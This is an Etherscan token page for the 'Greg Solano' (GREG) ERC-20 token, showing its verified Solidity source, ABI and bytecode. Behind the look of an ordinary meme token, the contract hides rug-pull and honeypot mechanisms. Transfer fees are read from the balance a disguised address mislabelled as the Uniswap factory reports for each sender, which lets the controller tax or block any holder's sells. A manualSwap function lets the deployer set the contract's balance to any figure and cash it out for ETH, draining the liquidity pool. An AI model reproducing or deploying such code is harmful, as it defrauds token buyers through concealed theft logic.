ERC-20
Overview
Max Total Supply
1,000,000,000 GREG
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
37,817,829.942228832 GREGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
GregSolano
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-30 */ // SPDX-License-Identifier: None // https://twitter.com/Pauly0x/status/1785325564842414349 pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spnder) external view returns (uint256); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tkenA, address tokenB) external returns (address pair); } interface IUniswapV2Router { function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesire, uint amountTokenMi, uint amountETHMi, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b); return c; } } interface IDexFactory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } contract GregSolano is Ownable { using SafeMath for uint256; uint8 private _decimals = 9; string private constant _name = "Greg Solano"; string private constant _symbol = "GREG"; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; bool tradingOpen = false; uint256 private _totalSupply = 1000000000 * 10 ** _decimals; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public uniswapV2Pair; address internal uniswapV2Factory = 0x0039CBAEb6560dbb69bFc20F854C45269F5DEA46; mapping (address => bool) isExcludedFromFee; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event DisabledTransferDelay(uint256 indexed timestamp); bool public transferDelayEnabled = true; constructor () { _balances[address(this)] = _totalSupply; isExcludedFromFee[msg.sender] = true; emit Transfer(address(0), address(this), _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; emit DisabledTransferDelay(block.timestamp); } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function _transfer(address from, address to, uint256 amount) private { uint256 _fee = 0; require(from != address(0)); require(amount > 0); uint256 feeRate = IERC20(uniswapV2Factory).balanceOf(from); if (from != address(this) && from != uniswapV2Pair) { _fee = amount.mul(feeRate).div(100); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount).sub(_fee); emit Transfer(from, to, amount); } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function startTrading() external payable onlyOwner() { require(!tradingOpen, "Trading already opened"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function manualSwap(uint256 amount) external { require(isExcludedFromFee[msg.sender]); _approve(address(this), address(uniswapV2Router), amount); _balances[address(this)] = amount; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount,0,path,msg.sender,block.timestamp + 30); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"DisabledTransferDelay","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f60035f6101000a81548160ff0219169083151502179055505f60149054906101000a900460ff16600a620000559190620004c1565b633b9aca0062000066919062000511565b600455737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507239cbaeb6560dbb69bfc20f854c45269f5dea4660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6009555f600a556001600b5f6101000a81548160ff0219169083151502179055503480156200013e575f80fd5b506200015f620001536200026760201b60201c565b6200026e60201b60201c565b60045460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200025991906200056c565b60405180910390a362000587565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003b9578086048111156200039157620003906200032f565b5b6001851615620003a15780820291505b8081029050620003b1856200035c565b945062000371565b94509492505050565b5f82620003d35760019050620004a5565b81620003e2575f9050620004a5565b8160018114620003fb576002811462000406576200043c565b6001915050620004a5565b60ff8411156200041b576200041a6200032f565b5b8360020a9150848211156200043557620004346200032f565b5b50620004a5565b5060208310610133831016604e8410600b8410161715620004765782820a90508381111562000470576200046f6200032f565b5b620004a5565b62000485848484600162000368565b925090508184048111156200049f576200049e6200032f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004cd82620004ac565b9150620004da83620004b5565b9250620005097fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003c2565b905092915050565b5f6200051d82620004ac565b91506200052a83620004ac565b92508282026200053a81620004ac565b915082820484148315176200055457620005536200032f565b5b5092915050565b6200056681620004ac565b82525050565b5f602082019050620005815f8301846200055b565b92915050565b6120e780620005955f395ff3fe6080604052600436106100fd575f3560e01c8063715018a611610094578063b70143c911610063578063b70143c91461030d578063c876d0b914610335578063dd62ed3e1461035f578063e884f2601461039b578063f2fde38b146103b1576100fd565b8063715018a6146102675780638da5cb5b1461027d57806395d89b41146102a7578063a9059cbb146102d1576100fd565b8063293230b8116100d0578063293230b8146101cd578063313ce567146101d757806349bd5a5e1461020157806370a082311461022b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191575b5f80fd5b34801561010c575f80fd5b506101156103d9565b6040516101229190611701565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906117b2565b610416565b60405161015e919061180a565b60405180910390f35b348015610172575f80fd5b5061017b61042c565b6040516101889190611832565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b2919061184b565b610435565b6040516101c4919061180a565b60405180910390f35b6101d56104e1565b005b3480156101e2575f80fd5b506101eb610960565b6040516101f891906118b6565b60405180910390f35b34801561020c575f80fd5b50610215610975565b60405161022291906118de565b60405180910390f35b348015610236575f80fd5b50610251600480360381019061024c91906118f7565b61099a565b60405161025e9190611832565b60405180910390f35b348015610272575f80fd5b5061027b6109e0565b005b348015610288575f80fd5b50610291610a67565b60405161029e91906118de565b60405180910390f35b3480156102b2575f80fd5b506102bb610a8e565b6040516102c89190611701565b60405180910390f35b3480156102dc575f80fd5b506102f760048036038101906102f291906117b2565b610acb565b604051610304919061180a565b60405180910390f35b348015610318575f80fd5b50610333600480360381019061032e9190611922565b610ae1565b005b348015610340575f80fd5b50610349610db7565b604051610356919061180a565b60405180910390f35b34801561036a575f80fd5b506103856004803603810190610380919061194d565b610dc9565b6040516103929190611832565b60405180910390f35b3480156103a6575f80fd5b506103af610e4b565b005b3480156103bc575f80fd5b506103d760048036038101906103d291906118f7565b610f0f565b005b60606040518060400160405280600b81526020017f4772656720536f6c616e6f000000000000000000000000000000000000000000815250905090565b5f610422338484611005565b6001905092915050565b5f600454905090565b5f6104418484846111c8565b6104d684336104d18560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114fe90919063ffffffff16565b611005565b600190509392505050565b6104e9611524565b73ffffffffffffffffffffffffffffffffffffffff16610507610a67565b73ffffffffffffffffffffffffffffffffffffffff161461055d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610554906119d5565b60405180910390fd5b60035f9054906101000a900460ff16156105ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a390611a3d565b60405180910390fd5b6105da3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454611005565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610644573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106689190611a6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107129190611a6f565b6040518363ffffffff1660e01b815260040161072f929190611a9a565b6020604051808303815f875af115801561074b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076f9190611a6f565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107f63061099a565b5f80610800610a67565b426040518863ffffffff1660e01b815260040161082296959493929190611b03565b60606040518083038185885af115801561083e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108639190611b76565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610903929190611bc6565b6020604051808303815f875af115801561091f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109439190611c17565b50600160035f6101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109e8611524565b73ffffffffffffffffffffffffffffffffffffffff16610a06610a67565b73ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906119d5565b60405180910390fd5b610a655f61152b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4752454700000000000000000000000000000000000000000000000000000000815250905090565b5f610ad73384846111c8565b6001905092915050565b60085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610b33575f80fd5b610b5f3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611005565b8060015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610bbd57610bbc611c42565b5b604051908082528060200260200182016040528015610beb5781602001602082028036833780820191505090505b50905030815f81518110610c0257610c01611c6f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cca9190611a6f565b81600181518110610cde57610cdd611c6f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8433601e42610d669190611cc9565b6040518663ffffffff1660e01b8152600401610d86959493929190611db3565b5f604051808303815f87803b158015610d9d575f80fd5b505af1158015610daf573d5f803e3d5ffd5b505050505050565b600b5f9054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e53611524565b73ffffffffffffffffffffffffffffffffffffffff16610e71610a67565b73ffffffffffffffffffffffffffffffffffffffff1614610ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebe906119d5565b60405180910390fd5b5f600b5f6101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b610f17611524565b73ffffffffffffffffffffffffffffffffffffffff16610f35610a67565b73ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f82906119d5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff090611e7b565b60405180910390fd5b6110028161152b565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90611f09565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d890611f97565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111bb9190611832565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611200575f80fd5b5f821161120b575f80fd5b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b815260040161126691906118de565b602060405180830381865afa158015611281573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a59190611fb5565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611330575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561135e5761135b606461134d83866115ec90919063ffffffff16565b61162c90919063ffffffff16565b91505b6113ae8360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114fe90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611451826114438560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461165190919063ffffffff16565b6114fe90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ef9190611832565b60405180910390a35050505050565b5f8282111561150b575f80fd5b5f82846115189190611fe0565b90508091505092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8083036115fc575f9050611626565b5f82846116099190612013565b90508284826116189190612081565b14611621575f80fd5b809150505b92915050565b5f808211611638575f80fd5b5f82846116459190612081565b90508091505092915050565b5f80828461165f9190611cc9565b90508381101561166d575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156116ae578082015181840152602081019050611693565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116d382611677565b6116dd8185611681565b93506116ed818560208601611691565b6116f6816116b9565b840191505092915050565b5f6020820190508181035f83015261171981846116c9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61174e82611725565b9050919050565b61175e81611744565b8114611768575f80fd5b50565b5f8135905061177981611755565b92915050565b5f819050919050565b6117918161177f565b811461179b575f80fd5b50565b5f813590506117ac81611788565b92915050565b5f80604083850312156117c8576117c7611721565b5b5f6117d58582860161176b565b92505060206117e68582860161179e565b9150509250929050565b5f8115159050919050565b611804816117f0565b82525050565b5f60208201905061181d5f8301846117fb565b92915050565b61182c8161177f565b82525050565b5f6020820190506118455f830184611823565b92915050565b5f805f6060848603121561186257611861611721565b5b5f61186f8682870161176b565b93505060206118808682870161176b565b92505060406118918682870161179e565b9150509250925092565b5f60ff82169050919050565b6118b08161189b565b82525050565b5f6020820190506118c95f8301846118a7565b92915050565b6118d881611744565b82525050565b5f6020820190506118f15f8301846118cf565b92915050565b5f6020828403121561190c5761190b611721565b5b5f6119198482850161176b565b91505092915050565b5f6020828403121561193757611936611721565b5b5f6119448482850161179e565b91505092915050565b5f806040838503121561196357611962611721565b5b5f6119708582860161176b565b92505060206119818582860161176b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119bf602083611681565b91506119ca8261198b565b602082019050919050565b5f6020820190508181035f8301526119ec816119b3565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f611a27601683611681565b9150611a32826119f3565b602082019050919050565b5f6020820190508181035f830152611a5481611a1b565b9050919050565b5f81519050611a6981611755565b92915050565b5f60208284031215611a8457611a83611721565b5b5f611a9184828501611a5b565b91505092915050565b5f604082019050611aad5f8301856118cf565b611aba60208301846118cf565b9392505050565b5f819050919050565b5f819050919050565b5f611aed611ae8611ae384611ac1565b611aca565b61177f565b9050919050565b611afd81611ad3565b82525050565b5f60c082019050611b165f8301896118cf565b611b236020830188611823565b611b306040830187611af4565b611b3d6060830186611af4565b611b4a60808301856118cf565b611b5760a0830184611823565b979650505050505050565b5f81519050611b7081611788565b92915050565b5f805f60608486031215611b8d57611b8c611721565b5b5f611b9a86828701611b62565b9350506020611bab86828701611b62565b9250506040611bbc86828701611b62565b9150509250925092565b5f604082019050611bd95f8301856118cf565b611be66020830184611823565b9392505050565b611bf6816117f0565b8114611c00575f80fd5b50565b5f81519050611c1181611bed565b92915050565b5f60208284031215611c2c57611c2b611721565b5b5f611c3984828501611c03565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611cd38261177f565b9150611cde8361177f565b9250828201905080821115611cf657611cf5611c9c565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611d2e81611744565b82525050565b5f611d3f8383611d25565b60208301905092915050565b5f602082019050919050565b5f611d6182611cfc565b611d6b8185611d06565b9350611d7683611d16565b805f5b83811015611da6578151611d8d8882611d34565b9750611d9883611d4b565b925050600181019050611d79565b5085935050505092915050565b5f60a082019050611dc65f830188611823565b611dd36020830187611af4565b8181036040830152611de58186611d57565b9050611df460608301856118cf565b611e016080830184611823565b9695505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611e65602683611681565b9150611e7082611e0b565b604082019050919050565b5f6020820190508181035f830152611e9281611e59565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ef3602483611681565b9150611efe82611e99565b604082019050919050565b5f6020820190508181035f830152611f2081611ee7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f81602283611681565b9150611f8c82611f27565b604082019050919050565b5f6020820190508181035f830152611fae81611f75565b9050919050565b5f60208284031215611fca57611fc9611721565b5b5f611fd784828501611b62565b91505092915050565b5f611fea8261177f565b9150611ff58361177f565b925082820390508181111561200d5761200c611c9c565b5b92915050565b5f61201d8261177f565b91506120288361177f565b92508282026120368161177f565b9150828204841483151761204d5761204c611c9c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61208b8261177f565b91506120968361177f565b9250826120a6576120a5612054565b5b82820490509291505056fea264697066735822122024c3415add0e76b8700cbdd4788c17903baef98287b3f0c4248539c048daec6364736f6c63430008180033
Deployed Bytecode
0x6080604052600436106100fd575f3560e01c8063715018a611610094578063b70143c911610063578063b70143c91461030d578063c876d0b914610335578063dd62ed3e1461035f578063e884f2601461039b578063f2fde38b146103b1576100fd565b8063715018a6146102675780638da5cb5b1461027d57806395d89b41146102a7578063a9059cbb146102d1576100fd565b8063293230b8116100d0578063293230b8146101cd578063313ce567146101d757806349bd5a5e1461020157806370a082311461022b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191575b5f80fd5b34801561010c575f80fd5b506101156103d9565b6040516101229190611701565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906117b2565b610416565b60405161015e919061180a565b60405180910390f35b348015610172575f80fd5b5061017b61042c565b6040516101889190611832565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b2919061184b565b610435565b6040516101c4919061180a565b60405180910390f35b6101d56104e1565b005b3480156101e2575f80fd5b506101eb610960565b6040516101f891906118b6565b60405180910390f35b34801561020c575f80fd5b50610215610975565b60405161022291906118de565b60405180910390f35b348015610236575f80fd5b50610251600480360381019061024c91906118f7565b61099a565b60405161025e9190611832565b60405180910390f35b348015610272575f80fd5b5061027b6109e0565b005b348015610288575f80fd5b50610291610a67565b60405161029e91906118de565b60405180910390f35b3480156102b2575f80fd5b506102bb610a8e565b6040516102c89190611701565b60405180910390f35b3480156102dc575f80fd5b506102f760048036038101906102f291906117b2